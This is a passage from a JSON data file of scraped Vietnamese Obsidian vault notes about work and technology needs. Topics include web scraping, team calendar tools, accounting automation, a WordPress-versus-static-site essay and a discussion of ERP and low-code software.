sản phẩm]]", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-09-01T10:10:00.000Z", + "id": "UU" + }, + { + "Tiêu đề": "Nắm bắt xu hướng mạng", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công việc/Nghiên cứu/Thu thập dữ liệu/Nắm bắt xu hướng mạng", + "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", + "Dự án": { + "Mã dự án": "C1" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Lĩnh vực:: [[Nhân văn số|Các dự án, công cụ, tài nguyên cho nhân văn số]], [[Xử lý ngôn ngữ tự nhiên (NLP)]]\nNhu cầu công nghệ:: [[Xác định các chủ đề có trong ngữ liệu]], [[Cào web]]", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-09-01T08:30:00.000Z", + "id": "UV" + }, + { + "Tiêu đề": "Tổng hợp những sự kiện sẽ diễn ra", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công việc/Nghiên cứu/Thu thập dữ liệu/Tổng hợp những sự kiện sẽ diễn ra", + "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", + "Dự án": { + "Mã dự án": "C1" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Nhu cầu công nghệ:: [[Cào web]], [[Nhập sự kiện vào Google Calendar]]", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-09-01T08:29:00.000Z", + "id": "UW" + }, + { + "Tiêu đề": "Tra lại lịch sử ghi chép", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công việc/Nghiên cứu/Tra lại lịch sử ghi chép", + "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", + "Dự án": { + "Mã dự án": "C1" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Nhu cầu công nghệ:: [[Kiểm soát phiên bản (version control)]]", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-07-16T16:27:00.000Z", + "id": "UX" + }, + { + "Tiêu đề": "Viết bài", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công việc/Nghiên cứu/Viết bài", + "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", + "Dự án": { + "Mã dự án": "C1" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Nhu cầu công nghệ:: [[Hệ thống quản lý kiến thức]]\nLĩnh vực:: [[Sắp chữ, thiết kế, xuất bản]], [[Hệ thống thông tin]]\n# Comprehensive Academic Workflow from Reading to Writing in Markdown\n![The abstract version of the academic workflow from reading to writing](https://chris-grieser.de/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F8afcb0cc-e145-46b4-a37b-fb968f26022d%2FUntitled.png?table=block&id=11b60946-15f4-483a-a7f6-8bf69503aa04&spaceId=59bcf46b-de3b-49d0-8351-c59ab6c69bd5&width=1730&userId=&cache=v2)\nNguồn:: [Notion – The all-in-one workspace for your notes, tasks, wikis, and databases.](https://chris-grieser.de/Comprehensive-Academic-Workflow-from-Reading-to-Writing-in-Markdown)\n\n[[Chèn ảnh, bảng, sơ đồ, mục lục, ghi chú, song ngữ, trích dẫn theo đúng ý]]", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2024-08-31T15:26:00.000Z", + "Ngày cập nhật": "2024-09-01T10:10:00.000Z", + "id": "UY" + }, + { + "Tiêu đề": "Nhu cầu công việc", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công việc", + "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", + "Dự án": { + "Mã dự án": "C1" + }, + "Nội dung bài đăng": { + "Mô tả bài đăng": "Đâu là từ khoá cần phải tìm hiểu để giải quyết nhu cầu công việc của mình? Nhất là với những nhu cầu liên quan đến máy tính", + "Toàn bộ nội dung": "# Đâu là từ khoá cần phải tìm hiểu để giải quyết nhu cầu công việc của mình?\n```dataview\nLIST rows.file.link\nFROM \"📜Tài nguyên/Nhu cầu công việc\" \nWHERE file.name!=this.file.name\nWHERE none([file.name, \"Nơi gặp mặt trực tiếp\"], (i) => contains(file.folder, i))\nGROUP BY split(file.folder, \"/\")[2]\n```\n[[Thành phẩm (output) là các kết quả trực tiếp của các công việc|Việc đáp ứng nhu cầu công việc tạo ra thành phẩm]].\nNhu cầu công nghệ:: [[Nhu cầu công nghệ]]\nLĩnh vực:: [[Lĩnh vực]]", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2024-02-29T16:53:00.000Z", + "Ngày cập nhật": "2024-09-09T11:00:00.000Z", + "id": "UZ" + }, + { + "Tiêu đề": "Chia sẻ lịch với nhau", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công việc/Vận hành/Chia sẻ lịch với nhau", + "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", + "Dự án": { + "Mã dự án": "C1" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Khái niệm:: \n\nHỏi: \n❝em đang tìm một phần mềm quản lý thời gian biểu cả nhóm theo dạng như: \nCó một bảng lịch cộng tác \nmọi người có thể tô trên lịch các khoảng thời gian mình bận \ntừ đó lọc ra khoảng thời gian rảnh để thống nhất đưa ra lịch họp \nCác bác biết phần mềm nào như vậy không ạ❞ \n \nĐáp: \n❝reclaim.ai nhưng ko khuyến khích vì nó ko có database ha, còn ở mức độ bt thì thằng notion calendar chắc cũng đủ để dùng \nnói thêm cái bạn nói là 1 dạng sắp xếp cuộc hẹn á, appointment bạn search kiểu này dễ ra hơn chứ ko nó đề xuất 1 loạt cái ko lq loạn lắm, các phương án thay thế có thể là morgen motion❞ \nhttps://discord.com/channels/686053708261228577/944662832585277511/1248948508443021342", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-07-16T16:27:00.000Z", + "id": "Ua" + }, + { + "Tiêu đề": "Gom tất cả thông tin lại vào một chỗ", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công việc/Vận hành/Gom tất cả thông tin lại vào một chỗ", + "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", + "Dự án": { + "Mã dự án": "C1" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Nhu cầu công nghệ:: [[Hệ thống quản lý kiến thức]], [[Tự động hoá các công việc lặp đi lặp lại]], [[Nhập sự kiện vào Google Calendar|Cào dữ liệu web vào Google Calendar]]\nGiải pháp kỹ thuật:: [[API]]\n\nCác sự kiện trên fb event nó ko thuần tuý là 1 events như dạng ticketbox mà nó giống quảng bá hơn\n\nCần ticketbox hơn vì nó là dạng bán vé ở cấp độ chuyên nghiệp hơn, nội dung và giá trị đc chỉnh chu hơn. VD, em ko fai fan hài kịch, nhưng e biết đc có các loại hình hài kịch: standup comedy, hài bài banrm, sân khấu kịch, các vở kịch về các câu chuyện sắp tới, khiến e có thể cân nhắc tham gia để hiểu biết hơn. Hoặc nếu e thấy toàn workshop về bánh và mùa thu → e có thể cân nhắc viết content hay các bài viết về topic này. vậy rộng hơn đây, e thấy có water show: ah e có thể cân nhắc dẫn con em đi xem, hoặc workshop yêu hoà bình, e sẽ xem có gì relevant ko mà lại làm topic này tại thời điểm này, nghĩa là nội title của có thể hint cho em nhiều thứ\n![](https://media.discordapp.net/attachments/953628307314855999/1177509524081475604/image.png?ex=66a5f1b3&is=66a4a033&hm=7bcc4f400410fbede43893c92663f0e8f2c6058f3c98dd2d978729c5f7b7650d&=&format=webp&quality=lossless&width=572&height=437) ", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-07-27T10:23:00.000Z", + "id": "Ub" + }, + { + "Tiêu đề": "Hậu cần", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công việc/Vận hành/Hậu cần", + "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", + "Dự án": { + "Mã dự án": "C1" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Lĩnh vực:: \nNhu cầu công nghệ::\n- [[Nơi gặp mặt trực tiếp]]\n- [[Các công việc tổ chức một buổi họp]]\n- [[Kinh nghiệm setup khi có cả online và offline]]\n- [[Làm livestream và video]]", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2024-09-02T18:22:00.000Z", + "Ngày cập nhật": "2024-09-02T18:23:00.000Z", + "id": "Uc" + }, + { + "Tiêu đề": "Tạo danh sách hạch toán hàng loạt vào các phần mềm kế toán", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công việc/Vận hành/Tạo danh sách hạch toán hàng loạt vào các phần mềm kế toán", + "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", + "Dự án": { + "Mã dự án": "C1" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Nhu cầu công nghệ:: [[Phân loại dữ liệu tự động]]\n\n > Ngành kế toán của chị trước giờ làm thủ công. Doanh nghiệp hiện tại của chị dùng Misa đưa cho kế toán cũng mất khá nhiều thời gian. Các giao dịch thường lặp đi lặp lại hàng tháng, cần tới 3, 4 bạn kế toán để ghi chép lại. Bộ máy cồng kềnh mà mức độ chính xác không cao.\n> — [[Trần Thuý Hoà]]\n\n\nPhóng toàn màn hình: [Làm sao để đưa VNPAY vào luồng hoạt động của cửa hàng?](https://slide.quảcầu.cc/Đáp%20ứng%20nhu%20cầu%20doanh%20nghiệp/VNPAY.html?utm_source=Vault+C+Obsidian%2C+quản+lý+dự+án+và+công+cụ+nghĩ+(Tài+nguyên)&utm_medium=Vault&utm_campaign=&utm_content=📜Tài+nguyên%2FNhu+cầu+công+việc%2FDoanh+nghiệp+hoặc+tổ+chức%2FTạo+danh+sách+hạch+toán+vào+các+phần+mềm+kế+toán.md&utm_term=)\n<iframe width=100% height=400 src=\"https://slide.quảcầu.cc/Đáp%20ứng%20nhu%20cầu%20doanh%20nghiệp/VNPAY.html?utm_source=Vault+C+Obsidian%2C+quản+lý+dự+án+và+công+cụ+nghĩ+(Tài+nguyên)&utm_medium=Vault&utm_campaign=&utm_content=📜Tài+nguyên%2FNhu+cầu+công+việc%2FDoanh+nghiệp+hoặc+tổ+chức%2FTạo+danh+sách+hạch+toán+vào+các+phần+mềm+kế+toán.md&utm_term=\" /> \n\nXem thêm:: [So sánh chi tiết các phần mềm kế toán trên thị trường](https://kiếmtiền.quảcầu.cc/Tài-nguyên-hỗ-trợ/Quang-cảnh-thị-trường/Chương-trình-quản-lý-tiền/4-Loại-chương-trình/Chương-trình-kế-toán?utm_source=Vault+C+Obsidian%2C+quản+lý+dự+án+và+công+cụ+nghĩ+(Tài+nguyên)&utm_medium=Vault&utm_campaign=&utm_content=📜Tài+nguyên%2FNhu+cầu+công+việc%2FDoanh+nghiệp+hoặc+tổ+chức%2FTạo+danh+sách+hạch+toán+vào+các+phần+mềm+kế+toán.md&utm_term=).", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-08-07T08:41:00.000Z", + "id": "Ud" + }, + { + "Tiêu đề": "Tạo website", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công việc/Vận hành/Tạo website", + "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", + "Dự án": { + "Mã dự án": "C1" + }, + "Nội dung bài đăng": { + "Mô tả bài đăng": "WordPress giúp việc tạo web dễ dàng nhất, chứ không phải là thứ tạo web hiệu quả nhất", + "Toàn bộ nội dung": "Nhu cầu công nghệ:: [[Tiếp thị số]], [[Lập trình web]]\n\n# Người dùng cá nhân hoặc dự án nhỏ có nên dùng WordPress hay không?\nNếu bạn chỉ cần một nơi lưu lại những gì mình ghi viết bài chia sẻ cho mọi người đọc, các mạng xã hội như Facebook là đủ. Nếu như Facebook đại trà quá và bạn muốn tạo một thương hiệu rõ hơn, Substack, Medium, Spiderum, LinkedIn Page sẽ là những trang sẽ cho khách ghé thăm ấn tượng sơ về phong cách và nội dung của bạn. Nếu bạn muốn tạo một góc thầm lặng, không quá xô bồ, hoặc ngược lại muốn xây dựng một không gian làm cho khách ghé thăm phải cảm thấy ấn tượng, trầm trồ với giao diện độc đáo, thì Weebly, Wix, Squarespace, Shopify, Blogger, WordPress.com sẽ giúp bạn đạt được điều đó. Chỉ khi nào bạn muốn có sự kiểm soát tối đa toàn bộ trang web của bạn với chi phí thấp, thì lúc đó bạn mới cần có một website riêng.\n\nNhiều người khi có nhu cầu tạo web thường được bạn bè giới thiệu WordPress. WordPress được xếp vào nhóm web động. Ngoài web động ra thì còn có web tĩnh. Web động với web tĩnh bản chất thế nào thì mình nghĩ đợi đến khi bạn đã quen thuộc với web rồi thì giải thích sẽ dễ hiểu hơn, còn giờ nói sớm quá thì bạn lại rối. Quan trọng là chúng sẽ đáp ứng nhu cầu của bạn thế nào thôi. Mình nghĩ rằng đây là những tiêu chí mà một người dùng cá nhân hoặc cho tổ chức nhỏ sẽ cần để ý đến:\n\n| Tiêu chí | WordPress | Web tĩnh |\n| ------------------------------------------- | -------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------ |\n| Dễ bắt đầu cho người mới | <span style=\"color:green\">Có người làm sẵn hết</span> | Phải tự thiết lập |\n| Tuỳ chỉnh theo đúng nhu cầu | <span style=\"color:green\">Có hướng dẫn ngay tại nơi thiết lập, chỉ cần bấm nút hoặc kéo thả</span> | Thiết lập bằng tập tin văn bản, cần tham khảo hướng dẫn sử dụng |\n| Kho theme và plugin | <span style=\"color:green\">Đồ sộ và dễ dàng cài đặt</span> | Tuỳ vào chương trình được dùng, nhưng chắn chắn không nhiều và dễ cài bằng WordPress |\n| Nếu bài viết đổi URL | <span style=\"color:green\">Người dùng truy cập vào URL cũ sẽ tự động chuyển sang URL mới</span> | Phải tự thiết lập chuyển URL, nếu không sẽ bị lỗi 404 |\n| Giá | Phải mua host | <span style=\"color:green\">Miễn phí</span> |\n| Thiết bị dùng để thao tác | Chủ yếu là chuột | <span style=\"color:green\">Chủ yếu là bàn phím</span> |\n| Cập nhật bài mới, chỉnh sửa bài cũ | Mỗi lần điều chỉnh là phải mở web, chờ web tải rồi mới sao chép từ máy tính lên web được | <span style=\"color:green\">Chỉ cần gõ một lệnh là lên web</span> |\n| Cơ hội nắm được tư duy và công cụ lập trình | Không nhiều | <span style=\"color:green\">Rất tốt</span> |\n| Tốc độ tải | Trang hơi phức tạp là dễ bị chậm | <span style=\"color:green\">Luôn nhanh</span> |\n\nHãy nói thêm về tiêu chí độ phức tạp khi cài đặt web mới. Nếu bạn tự làm một mình từ đầu đến cuối thì có thể web tĩnh dễ cài đặt hơn, vì với việc dùng GitHub Page bạn sẽ không phải lo vấn đề về host. Với một trang web động bạn sẽ phải mua host. Điểm thú vị là, các dịch vụ hosting thường sẽ cài các phần mềm cần thiết cho bạn luôn, để bạn mua xong là có web xài ngay được. Nên thành ra với người chưa biết gì thì việc tạo một trang WordPress mới lại dễ hơn so với web tĩnh, dù thực chất nó khó hơn.\n\nNếu điều bạn cần là có người làm thay bạn việc cài đặt để bạn còn làm những việc khác quan trọng hơn, thì tại sao bạn lại phải bỏ tiền mua host để có người làm thay việc cài đặt, mà không đơn giản là thuê người cài đặt hộ bạn luôn? Chi phí để thuê một người cài đặt web động + host và chi phí thuê một người cài đặt web tĩnh, cái nào rẻ hơn?\n\nChưa kể, việc cài đặt chỉ là bước đầu tiên của việc làm web. Các dịch vụ hosting chỉ làm bước này thôi chứ không làm xa hơn. Việc tuỳ chỉnh để đáp ứng nhu cầu chỉ có bạn tự làm chứ các dịch vụ hosting không làm thay bạn. Muốn làm thay thì bạn phải trả thêm tiền, và nhiều khi cũng không thay bạn được. Nên trừ phi bạn có tiền để thuê hẳn một người quản lý web để bạn khỏi bị phân tán sự chú ý cho những điều quan trọng hơn, chứ nếu bạn phải tự học tự làm thì tốt nhất là chi tiền học một buổi về cách dùng web tĩnh là có thể dùng suốt đời. Chứ chi tiền cho host thì mỗi năm lại phải trả một lần.\n\nVấn đề là, dù các dịch vụ đó chỉ làm giúp bạn bước đầu tiên đó, nhưng **đó lại là bước quan trọng nhất**. Nếu nói như kiểu Lão Tử là \"con đường vạn dặm bắt đầu từ một bước chân\". Bước đầu tiên sẽ quyết định con đường bạn đi. Nó nhiều khi còn quyết định việc bạn có đi nữa hay không. Và bước đầu tiên của người mua host để dùng WordPress thì dễ hơn bước đầu tiên của người tự làm web tĩnh.\n\nNếu bạn để ý, ở trên mình có nói là nếu bạn muốn tạo một góc thầm lặng hoặc một không gian ấn tượng thì WordPress.com sẽ giúp bạn đạt được điều đó. Nhưng ngay sau đó mình lại bảo là nếu bạn có nhu cầu tạo web thì mọi người thường giới thiệu WordPress cho bạn. Hàm ý là WordPress.com không phải là WordPress, và nó không phải là web riêng của bạn. Điều này có nghĩa là sao? Và nó liên quan gì tới những gì nãy giờ mình nói?\n\n**WordPress là một phần mềm để bạn tạo trang web.** Để người khác truy cập được web của bạn thì bạn cần có host. **WordPress.com là một công ty cung cấp dịch vụ host** như bao công ty hosting tương tự. Trên host của một công ty tên là WordPress.com có cài đặt một phần mềm tạo web tên là WordPress. Nếu bạn thuê dịch vụ của công ty này, thì bạn sẽ được cài sẵn WordPress mà không cần phải làm gì cả. Giống như là bạn mở một quán bánh canh và đặt tên cho nó là BánhCanh.com vậy. Khách chỉ cần ngồi vào bàn là có ngay một tô bánh canh miễn phí. Đó là điểm khác biệt.\n\n<iframe width=\"560\" height=\"315\" src=\"https://videopress.com/embed/FmtB9Wcw\" frameborder=\"0\" allowfullscreen allow=\"clipboard-write\"></iframe>\n<script src=\"https://videopress.com/videopress-iframe.js\"></script>\n\nWeb động cũng như web tĩnh đều đòi hỏi bạn phải cài đặt, cấu hình phần mềm. Nhưng vì người dùng web động phải trả thêm cả tiền host khiến cho các công ty hosting có thêm nhiều tiền từ các phần mềm tạo web động hơn các phần mềm tạo web tĩnh. WordPress vào thời điểm ra mắt là phần mềm tạo web động duy nhất có giao diện thân thiện với người dùng. Những điều này đã thúc đẩy các công ty này tập trung vào WordPress, quảng cáo cho nó nhiều hơn. Các công ty này có lợi hơn nếu như người dùng nghĩ đến WordPress đầu tiên khi họ muốn tạo website. Từ đó WordPress bước vào vòng lặp dương, và trở thành một hệ thống quản lý nội dung tiện lợi hơn với người dùng cũng như có được một hệ sinh thái theme và plugin đồ sộ như bây giờ. Việc bạn được bạn bè giới thiệu dùng WordPress cũng là vì nó là thứ giúp bạn đi bước đi đầu tiên dễ dàng nhất, chứ không phải vì nó là thứ giúp bạn đi cả con đường hiệu quả nhất.\n\nCho nên mình nghĩ, câu chuyện giữa web tĩnh và WordPress là câu chuyện đánh đổi giữa dài hạn và ngắn hạn, giữa việc có và không có người đi cùng bạn bước đi đầu tiên. Mình nghĩ WordPress chỉ có lợi nếu bạn cần dùng web động (mà nếu bạn đã hiểu được web động là gì và tại sao mình lại cần web động thì trình độ của bạn đã đi xa hơn bài này rồi. Bạn không còn cần nghe lời khuyên của mình làm gì), hoặc cần một hệ thống quản lý nội dung **đáp ứng được cả 3 yêu cầu sau**:\n- [[Để có thể thiết kế một giải pháp một cách nhanh chóng và tự tin, ta cần được thử nghiệm ý tưởng mới và kiểm tra giả thiết ngay khi chúng vừa được nghĩ ra|Cho bạn phản hồi tức thời khi tuỳ chỉnh giao diện và chức năng]],\n- [[Mỗi một thắc mắc đều làm tăng thêm khối lượng nhận thức mà chúng ta có trong tâm trí, qua đó làm phân tán sự tập trung của ta khỏi thứ mà ta định làm|Việc học cách tuỳ chỉnh càng chiếm ít thời gian và tâm trí càng tốt]],\n- [[Không có giải pháp nào cho người sáng lập để giải quyết sự quá tải ngoài những lời khuyên chung chung|Bạn không có người đi trước đi cùng mình những bước đầu tiên]]\n\nCòn không thì với nhu cầu nhỏ thì dùng web tĩnh có lợi về lâu dài hơn. Bạn sẽ chẳng cần tới nhiều theme hoặc plugin đến thế. Cái chính là việc viết bài và đăng bài có tiện lợi hay không mà thôi.\n\nWordPress ra đời năm 2003. 21 năm đã trôi qua, và công nghệ web cũng đã có nhiều thứ mới. Thời điểm đó không có Git, Node, Stack Overflow, VS Code, Astro, Obsidian, ChatGPT. Những cái tên mình liệt kê ra ở đây có thể bạn không hiểu nó là gì, nhưng chúng đã làm cho việc sử dụng web tĩnh trở nên nhẹ nhàng hơn, hoặc có nhiều lợi ích hơn. Nhưng kể cả là ngay bây giờ, khi đã có những công cụ đó, thì mình vẫn phải thừa nhận là với người không biết gì thì đi bước đầu tiên bằng WordPress vẫn dễ hơn đi bước đầu tiên bằng web tĩnh. \n\nTương tự việc [[Lý do viết Trấn Kỳ#Các ERP được dựng sẵn không đủ khả năng đáp ứng những luồng làm việc và suy nghĩ đặc thù|các ERP được dựng sẵn không đủ khả năng đáp ứng những luồng làm việc và suy nghĩ đặc thù]], [[Việc lập trình ít trực giác hơn nhưng lại có nhiều đánh đổi hơn các ngành khác|có rất nhiều đánh đổi trong c", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2024-02-27T08:45:00.000Z", + "Ngày cập nhật": "2024-08-28T06:29:00.000Z", + "id": "Ue" + }, + { + "Tiêu đề": "Vận hành", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công việc/Vận hành", + "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", + "Dự án": { + "Mã dự án": "C1" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "```dataview\nLIST nhu-cầu-công-nghệ\nFROM \"📜Tài nguyên/Nhu cầu công việc/Vận hành\" \nWHERE file.name!=this.file.name\n```", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2024-07-27T14:37:00.000Z", + "Ngày cập nhật": "2024-09-01T08:28:00.000Z", + "id": "Uf" + }, + { + "Tiêu đề": "Xây dựng kho tri thức", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công việc/Xây dựng kho tri thức", + "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", + "Dự án": { + "Mã dự án": "C1" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Lĩnh vực:: [[Hệ thống thông tin]]\nNhu cầu công nghệ:: [[Hệ thống quản lý kiến thức]]\nNhu cầu công nghệ:: [[Viết plugin]]\n\n## Liệu các phần mềm hoạch định tài nguyên doanh nghiệp (ERP) có giải quyết được vấn đề đảo thông tin này không?\nCác phần mềm hoạch định tài nguyên doanh nghiệp ([enterprise resource planning](https://en.wikipedia.org/wiki/Enterprise_resource_planning \"Enterprise resource planning - Wikipedia\"), ERP) sẽ có những mô đun chuyên về quản lý tài chính. Tuy nhiên, với Kendy điều đó là không đủ. Đây là những yêu cầu cho một phần mềm quản trị mà Kendy cần. Thiếu một trong 3 đều không được:\n- [ ] Có khả năng tuỳ chỉnh theo đúng luồng làm việc, suy nghĩ của mình\n- [ ] Không phải dành quá nhiều thời gian để xây dựng hệ thống đó\n- [ ] Chi phí thấp\n\n### Các ERP được dựng sẵn không đủ khả năng đáp ứng những luồng làm việc và suy nghĩ đặc thù\n![[Dùng ERP dựng sẵn.png]]\n\nCó hai loại công việc: [[Công việc khai phá và công việc khai thác]]. Công việc khai phá (exploration) là những công việc mà nếu ta chưa làm xong thì cũng không chắc lắm kết quả trông như thế nào, còn công việc khai thác (exploitation) là những công việc chưa làm cũng biết chính xác kết quả trông như thế nào. Công việc khai phá sử dụng dạng tư duy phi tuyến, và hợp với kiểu dữ liệu phi cấu trúc. Còn công việc khai thác sử dụng dạng tư duy tuyến tính, và hợp với kiểu dữ liệu có cấu trúc.\n\nBởi vì [[Công việc khai phá chính là quản lý kiến thức]], cho nên [[Quản lý công việc và quản lý kiến thức không thể tách rời nhau]]. Đây là thứ mà các ERP dựng sẵn này không đáp ứng được. Những người viết ra chúng tất nhiên cũng đã có những nghiên cứu khách hàng và cũng thiết kế nhiều lựa chọn để người dùng có thể tuỳ chỉnh ở một mức độ nào đó. Nếu không đáp ứng được nhu cầu đa số thì không thể nào giảm được chi phí sản phẩm cả. Tuy nhiên, sự dự đoán của các tác giả ấy về quy trình nghiệp vụ của một số khách hàng doanh nghiệp điển hình mà họ có thể nghĩ ra được cũng không thể nào bắt kịp được luồng làm việc và suy nghĩ thực tế của các cá nhân cụ thể. Mỗi người có một cách phân loại thông tin, yêu cầu về sự ngăn nắp thông tin, khối lượng thông tin và loại thông tin phải thường xuyên xử lý cũng khác nhau. Mỗi một luồng tư duy khác nhau có thể sẽ đòi hỏi những cách quản lý thông tin rất khác nhau. Và với một số người, cái mô đun quản lý kiến thức của chúng không gì chỉ làm cho có. Thà không dùng nó chứ dùng thì càng bực hơn. Các ERP này không đáp ứng nổi vai trò trở thành một [[Giàn giáo nhận thức cần phải tuỳ biến với quá trình hiểu biết của người dùng|một giàn giáo nhận thức]] của họ. \n\nHơn nữa, ngay cả khi chỉ xét đến mô đun về quản lý giao dịch của các ERP dựng sẵn, thì cũng giống như các phần mềm quản lý tài chính cá nhân được nói ở trên, dữ liệu được lưu trong đây vẫn bị cô lập trong ERP đó. \n\nChưa kể, cái gọi là chi phí thấp ở đây chỉ là miễn phí trong một số ngày, một số tính năng hoặc đầu người. Nhưng thường thì có trả tiền để dùng thì những tính năng đó cũng không hướng đến việc trở thành một nơi để quản lý tất cả mọi thứ.\n\n### Tự xây dựng ERP tốn rất nhiều thời gian\n![[Tự xây dựng ERP.png]]\nCó các phần mềm ERP mã nguồn mở như Odoo, và bạn có thể tự mình bổ sung thêm các tính năng để đảm bảo là nó sẽ theo đúng luồng làm việc, suy nghĩ của bạn, nhưng điều đó đòi hỏi bạn phải có kiến thức cũng như thời gian để lập trình. Điều này sẽ rất khó với người chưa từng lập trình bao giờ mà còn rất nhiều thứ khác phải làm. Nếu không ai code giùm cho thì Kendy thà chịu đau khổ chứ không thể nào tự học được, bởi vì [[Chi phí chuyển đổi giữa lập trình và nghiên cứu là lớn]]. Chưa kể, theo định luật Hofstadter: [[Mọi thứ sẽ luôn tốn thời gian hơn bạn nghĩ|Mọi thứ sẽ luôn tốn thời gian hơn bạn nghĩ, kể cả khi bạn đã tính đến định luật Hofstadter]].\n\nCũng không phải là Kendy không muốn học để tự xây dựng hệ thống cho mình, mà là kiếm lòi mắt cũng không thấy được người thực sự muốn chia sẻ. Theo trải nghiệm của Kendy khi hỏi trên các diễn đàn của Odoo, thì người trả lời thực ra chỉ muốn báo giá chứ không thực sự muốn chỉ. Vì dù là mã nguồn mở thì họ cũng xác định tập khách hàng của mình là doanh nghiệp.\n\n### Chi phí thuê lập trình viên để tự xây dựng ERP là quá cao\n![[Thuê lập trình viên.png]]\nNếu thuê lập trình viên thì thực sự không có tiền để thuê, và nếu có tiền thì cũng rất lệ thuộc vào họ. Việc xây dựng hệ thống là việc sửa mỗi lần một chút. Kendy không có đủ tiền cho quá nhiều lần điều chỉnh lắt nhắt như vậy.\n\n## Hiện nay đã có nhiều phần mềm ERP low code. Liệu có giải quyết được vấn đề này?\nKhái niệm low code được sinh ra dành cho những phần mềm không phải code nhiều nhưng người dùng vẫn có thể tạo ra được sản phẩm của mình. Airtable, Google Sheet, Excel là những ví dụ của low code.\n\nFibery cũng là một sản phẩm low code. Nó *hứa hẹn* giải quyết được 2 vấn đề sau:\n- Một nơi vừa để quản lý công việc vừa quản lý kiến thức\n- Có thể xây dựng hệ thống quản lý cho mình ngay mà không cần dùng tới code trong thời gian đầu\n\nĐây là lý do Kendy đã chọn Fibery, vì những cái rất cần trước mắt thì nó có thể đáp ứng. \n\nĐối với những người làm lập trình, cái gọi là low code chỉ là bình mới rượu cũ mà thôi. Nó từng có những cái tên như WYSIWYG, UI, rồi giờ thì nó được gọi là low code. Nó không được lòng người làm kỹ thuật cho lắm.\n\n[Một người bình luận](https://discord.com/channels/686053708261228577/700466324840775831/1072284305893638214):\n> Chúng được sinh ra chỉ để cho mục đích tiếp thị và khiến những người quản lý không có hiểu biết về kỹ thuật ra những quyết định tồi. \n\n[Một người khác](https://softwareengineering.stackexchange.com/questions/320227/what-is-low-code/320228#comment679977_320228):\n> Theo kinh nghiệm của tôi, những công cụ này được mấy người dùng doanh nghiệp dùng cho đến khi họ tự dồn mình vào chân tường. Rồi sau đó lập trình viên được gọi đến để gỡ một mớ rác lỗi hỗn độn khổng lồ đầy những phức tạp không cần thiết.\n\nThật ra, việc đánh đổi giữa sự đơn giản (simplicity) và khả năng xử lý những yêu cầu phức tạp (complexity) là một trong [[Việc lập trình ít trực giác hơn nhưng lại có nhiều đánh đổi hơn các ngành khác]]. Nhưng thứ [[Lập trình viên khó chịu với hệ thống low code vì nó được tiếp thị như là một giải pháp hoàn hảo có thể giải quyết được mọi nhu cầu thực tế|Lập trình viên khó chịu với hệ thống low code không phải vì nó ưu tiên sự tiện lợi và chi phí thấp cho người dùng, mà vì nó được tiếp thị như là một giải pháp hoàn hảo có thể giải quyết được mọi nhu cầu thực tế]]. Mà [[Chấp 